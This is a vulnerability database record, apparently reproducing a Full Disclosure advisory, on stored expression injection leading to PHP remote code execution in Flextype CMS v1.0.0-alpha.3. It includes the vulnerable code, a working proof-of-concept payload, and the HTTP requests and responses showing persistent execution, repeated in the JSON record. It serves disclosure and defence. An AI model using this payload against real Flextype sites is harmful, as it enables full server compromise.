GCVE-1988-2026-0182
Vulnerability from gna-1988 β Published: 2026-09-08 07:25 β Updated: 2026-09-09 13:03
VLAI
EPSS
VEX
Title
Flextype v1.0.0-alpha.3 Stored Expression Injection Enables PHP Remote Code Execution
Summary
Description
Flextype CMS v1.0.0-alpha.3 contains a stored code execution vulnerability
caused by the interaction between globally processed entry expressions, the
mutable registry object exposed to expressions, and the PHP entry directive.
Attacker-controlled entry fields are automatically processed as expressions
during entry retrieval. The expression environment exposes the
application's mutable registry() object, allowing an expression to modify
Flextype runtime configuration.
An attacker can use a stored expression to enable the PHP entry directive
and place an @php directive within the same stored field. Subsequent
directive processing reaches PHP eval(), resulting in execution of
attacker-controlled PHP code within the Flextype process.
Testing confirmed execution by returning the server's PHP version as
STORED_RCE_8.1.34. Retrieving the stored entry again caused the payload to
execute again, demonstrating persistent server-side code execution.
Impact
An attacker capable of creating or modifying affected entry fields can
execute arbitrary PHP code within the security context of the Flextype
application.
This may allow complete compromise of application confidentiality,
integrity, and availability, subject to the operating-system permissions
assigned to the PHP process.
Because the malicious directive is stored within entry content, execution
can occur again when the affected entry is subsequently processed.
DetailsMutable Registry Exposed to Expressions
Flextype exposes the application registry to the expression environment:
return [
new ExpressionFunction(
'registry',
static fn () => '\Flextype\registry()',
static fn ($arguments) => registry()
)
];
This returns the mutable application registry rather than a restricted
read-only representation.
PHP Directive
The PHP directive first determines whether PHP processing is enabled:
if (! registry()->get('flextype.settings.entries.directives.php.enabled')) {
return;
}
When enabled, entry content containing @php reaches eval():
if (strings($field['value'])->contains('@php')) {
ob_start();
eval(
strings($field['value'])
->replace('@php', '')
->trim()
->toString()
);
$field['value'] = ob_get_clean();
}
Proof of Concept
The following stored entry value first enables the PHP directive through an
expression and then supplies PHP code:
[% registry().set('flextype.settings.entries.directives.php.enabled',
true) %] @php echo 'STORED_RCE_' . PHP_VERSION;
It was submitted through the Entries API:
POST /api/v1/entries HTTP/1.1
Host: 127.0.0.1:18086
Content-Type: application/json
{"token":"lab-token","access_token":"password","id":"stored-rce-proof","data":{"title":"[%
registry().set('flextype.settings.entries.directives.php.enabled',
true) %] @php echo 'STORED_RCE_' . PHP_VERSION;"}}
Flextype returned:
HTTP/1.1 200 OK
Content-Type: application/json;charset=UTF-8
{"title":"STORED_RCE_8.1.34","published_by":"","created_by":"","uuid":"11eef64f-890a-40ef-8711-b57937677c82","content":"","slug":"stored-rce-proof","published_at":1788143638,"modified_at":1788143638,"created_at":1788143638,"routable":true,"visibility":"visible","id":"stored-rce-proof"}
The value:
STORED_RCE_8.1.34
demonstrates execution of the attacker-supplied PHP expression and access
to the runtime PHP_VERSION constant.
Persistent Execution
The stored entry was subsequently retrieved using a normal entry request:
GET /api/v1/entries?token=lab-token&id=stored-rce-proof HTTP/1.1
Host: 127.0.0.1:18086
The response again contained:
STORED_RCE_8.1.34
demonstrating that execution is associated with stored entry processing
rather than requiring the complete PHP payload to be supplied during the
triggering GET request.
Root Cause
The vulnerability results from the interaction of three unsafe trust
decisions:
1. Attacker-controllable stored entry fields are interpreted as
executable expressions.
2. Expressions have access to the mutable application registry.
3. The PHP directive executes processed entry content using eval().
This permits stored data to modify the security setting intended to disable
PHP processing before the PHP directive processes the same
attacker-controlled content.
Ron Edgerson
Vulnerability Researcher & Exploit Developer
CVE Research | Binary Exploitation | Application & Systems Security
Responsible Disclosure β’ Proof-of-Concept Development
π https://github.com/ob1sec
π https://www.linkedin.com/in/ronedgerson1
<https://linkedin.com/in/yourhandle>
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
References
7 references
Impacted products
Relationships
analysis
GCVE-1988-2026-0182 (this record)
- possibly related CVE-2026-77939
{
"containers": {
"cna": {
"affected": [
{
"product": "Flextype",
"vendor": "Flextype",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Ron E"
}
],
"descriptions": [
{
"lang": "en",
"value": "Description\n\nFlextype CMS v1.0.0-alpha.3 contains a stored code execution vulnerability\ncaused by the interaction between globally processed entry expressions, the\nmutable registry object exposed to expressions, and the PHP entry directive.\n\nAttacker-controlled entry fields are automatically processed as expressions\nduring entry retrieval. The expression environment exposes the\napplication\u0027s mutable registry() object, allowing an expression to modify\nFlextype runtime configuration.\n\nAn attacker can use a stored expression to enable the PHP entry directive\nand place an @php directive within the same stored field. Subsequent\ndirective processing reaches PHP eval(), resulting in execution of\nattacker-controlled PHP code within the Flextype process.\n\nTesting confirmed execution by returning the server\u0027s PHP version as\nSTORED_RCE_8.1.34. Retrieving the stored entry again caused the payload to\nexecute again, demonstrating persistent server-side code execution.\nImpact\n\n An attacker capable of creating or modifying affected entry fields can\nexecute arbitrary PHP code within the security context of the Flextype\napplication.\n\nThis may allow complete compromise of application confidentiality,\nintegrity, and availability, subject to the operating-system permissions\nassigned to the PHP process.\n\nBecause the malicious directive is stored within entry content, execution\ncan occur again when the affected entry is subsequently processed.\nDetailsMutable Registry Exposed to Expressions\n\nFlextype exposes the application registry to the expression environment:\n\nreturn [\n new ExpressionFunction(\n \u0027registry\u0027,\n static fn () =\u003e \u0027\\Flextype\\registry()\u0027,\n static fn ($arguments) =\u003e registry()\n )\n];\n\nThis returns the mutable application registry rather than a restricted\nread-only representation.\nPHP Directive\n\nThe PHP directive first determines whether PHP processing is enabled:\n\nif (! registry()-\u003eget(\u0027flextype.settings.entries.directives.php.enabled\u0027)) {\n return;\n}\n\nWhen enabled, entry content containing @php reaches eval():\n\nif (strings($field[\u0027value\u0027])-\u003econtains(\u0027@php\u0027)) {\n ob_start();\n\n eval(\n strings($field[\u0027value\u0027])\n -\u003ereplace(\u0027@php\u0027, \u0027\u0027)\n -\u003etrim()\n -\u003etoString()\n );\n\n $field[\u0027value\u0027] = ob_get_clean();\n}\n\nProof of Concept\n\nThe following stored entry value first enables the PHP directive through an\nexpression and then supplies PHP code:\n\n[% registry().set(\u0027flextype.settings.entries.directives.php.enabled\u0027,\ntrue) %] @php echo \u0027STORED_RCE_\u0027 . PHP_VERSION;\n\nIt was submitted through the Entries API:\n\nPOST /api/v1/entries HTTP/1.1\nHost: 127.0.0.1:18086\nContent-Type: application/json\n\n{\"token\":\"lab-token\",\"access_token\":\"password\",\"id\":\"stored-rce-proof\",\"data\":{\"title\":\"[%\nregistry().set(\u0027flextype.settings.entries.directives.php.enabled\u0027,\ntrue) %] @php echo \u0027STORED_RCE_\u0027 . PHP_VERSION;\"}}\n\nFlextype returned:\n\nHTTP/1.1 200 OK\nContent-Type: application/json;charset=UTF-8\n\n{\"title\":\"STORED_RCE_8.1.34\",\"published_by\":\"\",\"created_by\":\"\",\"uuid\":\"11eef64f-890a-40ef-8711-b57937677c82\",\"content\":\"\",\"slug\":\"stored-rce-proof\",\"published_at\":1788143638,\"modified_at\":1788143638,\"created_at\":1788143638,\"routable\":true,\"visibility\":\"visible\",\"id\":\"stored-rce-proof\"}\n\nThe value:\n\nSTORED_RCE_8.1.34\n\ndemonstrates execution of the attacker-supplied PHP expression and access\nto the runtime PHP_VERSION constant.\nPersistent Execution\n\nThe stored entry was subsequently retrieved using a normal entry request:\n\nGET /api/v1/entries?token=lab-token\u0026id=stored-rce-proof HTTP/1.1\nHost: 127.0.0.1:18086\n\nThe response again contained:\n\nSTORED_RCE_8.1.34\n\ndemonstrating that execution is associated with stored entry processing\nrather than requiring the complete PHP payload to be supplied during the\ntriggering GET request.\nRoot Cause\n\nThe vulnerability results from the interaction of three unsafe trust\ndecisions:\n\n 1. Attacker-controllable stored entry fields are interpreted as\n executable expressions.\n 2. Expressions have access to the mutable application registry.\n 3. The PHP directive executes processed entry content using eval().\n\nThis permits stored data to modify the security setting intended to disable\nPHP processing before the PHP directive processes the same\nattacker-controlled content.\n\nRon Edgerson\nVulnerability Researcher \u0026 Exploit Developer\n\nCVE Research | Binary Exploitation | Application \u0026 Systems Security\nResponsible Disclosure \u2022 Proof-of-Concept Development\n\n\ud83c\udf10 https://github.com/ob1sec\n\ud83d\udd17 https://www.linkedin.com/in/ronedgerson1\n\u003chttps://linkedin.com/in/yourhandle\u003e\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
}
],
"providerMetadata": {
"dateUpdated": "2026-09-09T13:03:58Z",
"orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"shortName": "VULNARCHIVE"
},
"references": [
{
"tags": [
"technical-description",
"exploit"
],
"url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/24"
},
{
"tags": [
"technical-description"
],
"url": "https://seclists.org/fulldisclosure/2026/Sep/24"
},
{
"url": "https://github.com/ob1sec"
},
{
"url": "https://linkedin.com/in/yourhandle"
},
{
"url": "https://nmap.org/mailman/listinfo/fulldisclosure"
},
{
"url": "https://seclists.org/fulldisclosure/"
},
{
"url": "https://www.linkedin.com/in/ronedgerson1"
}
],
"source": {
"defect": [
"https://seclists.org/fulldisclosure/2026/Sep/24"
],
"discovery": "EXTERNAL"
},
"title": "Flextype v1.0.0-alpha.3 Stored Expression Injection Enables PHP Remote Code Execution",
"x_gcve": [
{
"recordType": "analysis",
"relationships": [
{
"destId": "CVE-2026-77939",
"type": "possibly_related"
}
],
"vulnId": "GCVE-1988-2026-0182",
"x_vulnarchive": {
"archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/24",
"automated": true,
"contentSha256": "32da84289c82fed0e4a4fc8f416b4e60c9da0dc8a042407345235b5c96dc4067",
"evidenceScore": 9,
"messageId": "",
"originalUrl": "https://seclists.org/fulldisclosure/2026/Sep/24",
"policy": "vulnarchive-1",
"sourceFormat": "text/html",
"sourcePublishedAt": "2026-08-31T02:54:00Z"
}
},
{
"recordType": "advisory",
"vulnId": "gcve-1988-2026-0182"
}
]
}
},
"cveMetadata": {
"assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"assignerShortName": "VULNARCHIVE",
"datePublished": "2026-09-08T07:25:42Z",
"dateUpdated": "2026-09-09T13:03:58Z",
"state": "PUBLISHED",
"vulnId": "GCVE-1988-2026-0182"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
Loadingβ¦
Loadingβ¦
Experimental. This forecast is provided for visualization only and may change without notice. Do not use it for operational decisions.
Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Loadingβ¦
The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the
vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base
model, served locally by ML-Gateway.
They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Loadingβ¦
Loadingβ¦